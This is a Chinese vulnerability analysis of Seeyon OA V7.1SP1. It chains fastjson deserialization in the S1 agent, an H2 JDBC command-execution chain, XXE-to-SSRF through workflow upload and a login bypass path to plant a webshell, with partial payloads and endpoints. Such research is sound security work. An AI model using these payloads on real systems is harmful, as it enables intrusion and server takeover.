漏洞环境
V7.1SP1
漏洞分析
S1 fastjosn前台反序列化分析
致远的S1服务可以管理致远oa的启动和重启以及一些配置。从V7.1到V8.1SP2,S1的架构从C/S结构改为B/S结构,也就是可以通过浏览器访问,默认开启60001端口,内网访问。
在致远安装目录下的S1文件夹有一个Agent.jar,将其反编译可以看到S1的源码。
![]() |
|---|
![]() |
|---|
在lib目录下可以看到S1服务的一些依赖,可以发现fastjson 1.2.47
![]() |
|---|
fastjson 1.2.47是存在反序列化漏洞的
![]() |
|---|
在jd-gui全局搜索parseObject关键字
![]() |
|---|
找到com.seeyon.common.controller.AuthorityFilterController这个类的authSave方法
1 |
|
在60行会将auth通过fastjson从字符串解析成对象,并且参数是从request请求中获取的。没有看到鉴权,也就是可以通过构造auth参数可以直接通过fastjson反序列化漏洞RCE。
1 | String auth = request.getParameter("auth"); |
直接访问/auth/authsave路由会返回404
![]() |
|---|
因为在BOOT-INF.classes.config.application.properties中指定了agent前缀
![]() |
|---|
所以需要访问
http://localhost:60001/agent/auth/authSave
![]() |
|---|
没有启动oa的情况下会报如上错误
因为在54行做了检测
![]() |
|---|
启动oa再访问
![]() |
|---|
接下来通过如下payload探测fastjson漏洞是否存在
1 | {"@type":"java.net.InetSocketAddress"{"address":,"val":"zuw92x.dnslog.cn"}} |
直接将payload url编码后进行提交
![]() |
|---|
这里通过报错信息盲猜需要对payload进行base64编码,再次提交,dnslog收到请求。
![]() |
|---|
在出网的情况下,可以直接使用JdbcRowSetImpl这条链直接远程加载恶意类直接RCE。
1 | { |
![]() |
|---|
fastjson 配合h2利用链实现不出网利用
但是很多时候,遇到的都是不出网的情况。从pockyray师傅那了解到fastjson可以通过h2利用链实现不出网利用。
要知道fastjson在使用parseObject将字符串反序列化成对象的时候,会默认调用该对象的无参构造方法、setter、getter方法。
所以说只需要在h2依赖中找到一个类,然后这个类中的静态代码块、无参构造方法、setter、getter调用了一些恶意方法或者一些危险的操作,就可以利用fastjson反序列化实现自动调用。。
既然是通过fastjson反序列化h2依赖中的类,那就先来看看h2中执行命令的几种方式。
通过p牛发的h2命令执行的文章https://wx.zsxq.com/dweb2/index/topic_detail/185285425815252,`H2`可以通过`CREATE ALIAS`自定义函数执行命令
1 | CREATE ALIAS shell AS $$void shell(String s) throws Exception { |
但这种方式仅适用于可以执行多条语句的场景。
但是大部分实际情况下,用户只能控制到JDBC的URL。URL中支持的一个配置 INIT ,INIT 这个参数表示在连接h2数据库时,仅支持执行一条初始化命令。
1 | jdbc:h2:mem:test;MODE=MSSQLServer;INIT=RUNSCRIPT FROM 'http://127.0.0.1/test.sql' |
在出网的情况通过RUNSCRIPT FROM 'http://127.0.0.1/test.sql' test.sql如上语句执行代码。目的是为了绕过只能执行一条语句的限制,但是我们需要解决的是不出网利用,所以明显不适应。
如果要想实现不出网利用,可以使用Groovy的方式,但是需要有Groovy依赖
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS |
遗憾的是S1中没有看到Groovy的依赖。
最后文章中说了一种无额外依赖的任意命令执行方法
使用CREATE TRIGGER自定义函数的时候,可以使用//javascript 指JavaScript脚本执行。
![]() |
|---|
payload
1 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON |
但是org.h2.schema.TriggerObject@loadFromSource的方法和S1中h2的方法并不一样
h2-2.2.220.jar 可以通过如上payload执行代码的版本的org.h2.schema.TriggerObject方法
1 | private Trigger loadFromSource() { |
S1依赖中h2-1.4.193.jar的org.h2.schema.TriggerObject方法
1 | private Trigger loadFromSource() { |
没有了return (Trigger) compiler.getCompiledScript(fullClassName).eval();这条语句,也就意味着,不能通过最后一种方法执行命令,也没戏。
我问了伊雷利亚师傅,师傅反问我为什么要用为什么大家只能用runscript,是有什么限制么?,我说只能执行一条语句,师傅反问真的只能执行一条语句嘛。
于是我跟了一下通过控制JDBCURL执行命令利用点
调用链
1 | org.h2.server.web.WebApp#process |
在org.h2.server.web.WebServer#getConnection方法中
1 | Connection getConnection(String var1, String var2, String var3, String var4) throws SQLException { |
这个方法是通过用户名密码和JDBCURL去获取一个Connection对象的方法,如果JDBCURL中开头为jdbc:h2:,则调用Driver.load().connect(var2, var5)。
Driver.load().connect是一个public方法,我们在本地构建一下命令执行的参数进行调用。
1 | final Properties properties = new Properties(); |
![]() |
|---|
会报一个URL format error;的错误。问了伊雷利亚师傅,需要对;进行转义。
1 | String url = "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS shell AS $$void shell(String s) throws Exception {\njava.lang.Runtime.getRuntime().exec(s)\\;\n}$$\\;\nSELECT shell('cmd /c calc.exe')\\;\n"; |
执行
![]() |
|---|
计算器真的蹦出来了。之前文章中写的INIT后面写的只支持一条语句,在h2-1.4.193这个版本貌似没有限制。
INIT后面的语句是通过org.h2.engine.Engine#openSession方法中prepareCommand执行的。据伊雷利亚师傅说是支持多语句执行的。
![]() |
|---|
所以,目前已经在h2-1.4.193找到了执行命令的方法,是通过调用Driver.load().connect(url, properties)方法,控制url参数来执行命令。
JdbcDataSource
在org.h2.jdbcx.JdbcDataSource这个类中getJdbcConnection方法中
![]() |
|---|
我们同样看到了Driver.load().connect。并且还是getter方法,满足了fastjson反序列化自动调用的条件。
在fastjson 1.2.47中,使用如下payload触发反序列化
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
![]() |
|---|
但是执行并不会蹦出计算机,原因是该payload在fastjson 1.2.47下只能会调用静态代码块、无参构造以及setter方法
![]() |
|---|
还需要给payload 加上,就会自动调用getter方法了
1 | "language":{"@type":"java.lang.String"{"$ref":"$"} |
![]() |
|---|
最终fastjson调用JdbcDataSource的蹦计算器的payload如下
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
加载字节码 payload
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
坑点:只能打一次
向致远web路径写入shell payload
1 | {"@type":"com.alibaba.fastjson.JSONObject",{ |
最后只需要将如上payload 进行base64编码,往S1 /agent/auth/authSave接口发,即可实现不出网getshell
![]() |
![]() |
|---|
致远 工作流XML外部实体注入 分析
我们都知道S1服务是开在内网的,致远OA是可以远程访问的,都是在同一台服务器上。而/agent/auth/authSave接口是可以get方式提交payload。所以只需要在致远中找到一个XXE外部实体注入打SSRF就可以实现组合利用了。
可以通过工作流XML外部实体注入漏洞安全补丁补丁
![]() |
|---|
在7.1sp1环境下
补丁分析
在com.seeyon.ctp.workflow.util.ImExportUtil的createImportMap方法中发现差异
![]() |
|---|
可以看到,没打补丁前,直接创建了SAXReader对象并调用了read方法,将file对象传入进去。未做任何处理直接传参,可通过控制文件内容实现外部实体注入。
xxe 实现SSRF payload
xxe5.txt
1 |
|
![]() |
![]() |
|---|
已经确定可以通过如上payload触发SSRF,接下来只需要找到利用该漏洞的source。
漏洞利用点是在com.seeyon.ctp.workflow.util.ImExportUtil的createImportMap方法中,需要files变量可控。接下来找到createImportMap被调用的地方。
createImportMap 在com/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl中有两处调用。
在com/seeyon/ctp/workflow/manager/impl/WorkflowInnerApiManagerImpl#importWorkFlow方法中
![]() |
|---|
该方法接收了一个files数组,便调用了ImExportUtil.createImportMap(files)方法。
importWorkFlow在com/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl#importWorkFlow中被调用
![]() |
|---|
com/seeyon/ctp/workflow/wapi/WorkflowApiManagerImpl.importWorkFlow在com/seeyon/ctp/workflow/designer/controller/WorkFlowDesignerController.class中被调用
1 | public ModelAndView importProcess(HttpServletRequest request, HttpServletResponse response) throws Exception { |
如上代码首先是从request请求对象中获取上传的文件fileItem,再创建一个tempImportFile.zip压缩文件,再将fileItem 写入tempImportFile.zip中,接着再创建一个tempImportFileDir目录,将tempImportFile.zip压缩包内文件挨个写入到tempImportFileDir目录下,在这个过程中,调用了this.workflowApiManager.importWorkFlow((new File(tempDir.getAbsolutePath())).listFiles());将tempImportFileDir目录下所有文件作为参数调用了workflowApiManager.importWorkFlow方法进行处理。仅接着调用ImExportUtil.createImportMap(files)方法,最后再调用SAXReader.read(file)处理上传的压缩包内的文件,压缩包内中的文件内容,我们可控,所以才产生了XXE漏洞。
最后通过spring-workflow-controller.xml中的路由/workflow/designer.do指定method参数为importProcess可调用到com.seeyon.ctp.workflow.designer.controller.WorkFlowDesignerController方法
![]() |
|---|
整个调用链如下
1 | /workflow/designer.do |
最后,只需要将我们的 xxe 实现SSRF的payload,保存成txt,并压缩成zip文件,通过/workflow/designer.do上传。
1 |
|
上传脚本
1 | import requests |
![]() |
![]() |
|---|
构造SSRF攻击S1服务Payload
通过以上对致远工作流XML外部实体注入的分析利用,已经可以 xxe 实现SSRF请求dnslog了,最后,只需要将fastjson的前台反序列化利用payload 进行组合,得到最终的xxe payload。
1 |
|
提交,停顿一会,就会在致远的ROOT路径下生成webshell。
![]() |
![]() |
|---|
当然,致远的/workflow/designer.do接口是需要登录才能访问的。
![]() |
|---|
在致远7.1SP1这个版本,可通过/seeyon/autoinstall.do/..;/workflow/designer.do绕过登录权限校验实现前台RCE,具体原理暂时就先不分析。
![]() |
|---|
总结
这次分析的致远这套组合拳漏洞利用单从实战上来说,目前能打的只有在内网了。不过从学习的角度来说,确实能让我这个审计新手能学到了很多。分析的时候遇到的许多问题,如fastjson 打 h2 的利用链这条链,也是多亏pockyray师傅的指点迷津,才能迎刃而解,感谢师傅。



































